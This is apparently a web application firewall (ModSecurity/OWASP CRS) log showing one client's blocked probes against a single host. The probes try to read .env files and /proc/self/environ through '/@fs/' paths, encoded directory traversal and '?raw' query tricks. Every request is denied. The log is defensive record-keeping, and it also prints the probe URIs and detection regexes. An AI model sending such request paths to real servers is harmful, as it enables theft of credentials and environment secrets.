[Sun Oct 25 18:04:09.629566 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at582S-78Dm3HCMHomsJmQAAAAY"]
[Sun Oct 25 18:04:09.629769 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at582S-78Dm3HCMHomsJmQAAAAY"]
[Sun Oct 25 18:04:09.638948 2026] [security2:error] [pid 2897962:tid 2897962] [client 34.45.52.133:44106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at582WAGa5qz8A1ZLhszcQAAACs"]
[Sun Oct 25 18:04:09.639281 2026] [security2:error] [pid 2897962:tid 2897962] [client 34.45.52.133:44106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at582WAGa5qz8A1ZLhszcQAAACs"]
[Sun Oct 25 18:04:09.639531 2026] [security2:error] [pid 2897962:tid 2897962] [client 34.45.52.133:44106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at582WAGa5qz8A1ZLhszcQAAACs"]
[Sun Oct 25 18:04:09.645991 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582eB_1dbJQPYLGME2GAAAAAQ"]
[Sun Oct 25 18:04:09.646080 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582eB_1dbJQPYLGME2GAAAAAQ"]
[Sun Oct 25 18:04:09.646343 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582eB_1dbJQPYLGME2GAAAAAQ"]
[Sun Oct 25 18:04:09.646607 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582eB_1dbJQPYLGME2GAAAAAQ"]
[Sun Oct 25 18:04:09.657464 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at582QYZaEKvpE7JCm_rKgAAAAA"]
[Sun Oct 25 18:04:09.657551 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at582QYZaEKvpE7JCm_rKgAAAAA"]
[Sun Oct 25 18:04:09.657582 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at582QYZaEKvpE7JCm_rKgAAAAA"]
[Sun Oct 25 18:04:09.657917 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at582QYZaEKvpE7JCm_rKgAAAAA"]
[Sun Oct 25 18:04:09.658144 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at582QYZaEKvpE7JCm_rKgAAAAA"]
[Sun Oct 25 18:04:09.660712 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at582RVtY6H0wJd2uaILiwAAADA"]
[Sun Oct 25 18:04:09.661084 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at582RVtY6H0wJd2uaILiwAAADA"]
[Sun Oct 25 18:04:09.661292 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at582RVtY6H0wJd2uaILiwAAADA"]
[Sun Oct 25 18:04:09.680509 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at582Y-TViadXnIcy1UXlAAAAA0"]
[Sun Oct 25 18:04:09.680915 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at582Y-TViadXnIcy1UXlAAAAA0"]
[Sun Oct 25 18:04:09.681176 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at582Y-TViadXnIcy1UXlAAAAA0"]
[Sun Oct 25 18:04:09.705792 2026] [security2:error] [pid 2908851:tid 2908851] [client 34.45.52.133:44128] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at582Qyydx1uvQyMj1dhAQAAAAs"]
[Sun Oct 25 18:04:09.706356 2026] [security2:error] [pid 2908851:tid 2908851] [client 34.45.52.133:44128] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at582Qyydx1uvQyMj1dhAQAAAAs"]
[Sun Oct 25 18:04:09.706660 2026] [security2:error] [pid 2908851:tid 2908851] [client 34.45.52.133:44128] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at582Qyydx1uvQyMj1dhAQAAAAs"]
[Sun Oct 25 18:04:09.707850 2026] [security2:error] [pid 2909947:tid 2909947] [client 34.45.52.133:44204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at582aOlt30vsK62APprJAAAAA8"]
[Sun Oct 25 18:04:09.708427 2026] [security2:error] [pid 2909947:tid 2909947] [client 34.45.52.133:44204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at582aOlt30vsK62APprJAAAAA8"]
[Sun Oct 25 18:04:09.708675 2026] [security2:error] [pid 2909947:tid 2909947] [client 34.45.52.133:44204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at582aOlt30vsK62APprJAAAAA8"]
[Sun Oct 25 18:04:09.710387 2026] [security2:error] [pid 2897962:tid 2897962] [client 34.45.52.133:44106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at582WAGa5qz8A1ZLhszcgAAACs"]
[Sun Oct 25 18:04:09.710853 2026] [security2:error] [pid 2897962:tid 2897962] [client 34.45.52.133:44106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at582WAGa5qz8A1ZLhszcgAAACs"]
[Sun Oct 25 18:04:09.711124 2026] [security2:error] [pid 2897962:tid 2897962] [client 34.45.52.133:44106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at582WAGa5qz8A1ZLhszcgAAACs"]
[Sun Oct 25 18:04:09.712209 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at582RFm2vH00tQABbbu6gAAAAg"]
[Sun Oct 25 18:04:09.712649 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at582RFm2vH00tQABbbu6gAAAAg"]
[Sun Oct 25 18:04:09.712908 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at582RFm2vH00tQABbbu6gAAAAg"]
[Sun Oct 25 18:04:09.716117 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at582eB_1dbJQPYLGME2GQAAAAQ"]
[Sun Oct 25 18:04:09.716540 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at582eB_1dbJQPYLGME2GQAAAAQ"]
[Sun Oct 25 18:04:09.716755 2026] [security2:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at582eB_1dbJQPYLGME2GQAAAAQ"]
[Sun Oct 25 18:04:09.796582 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.45.52.133:44068] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at582RVtY6H0wJd2uaILjAAAADA"]
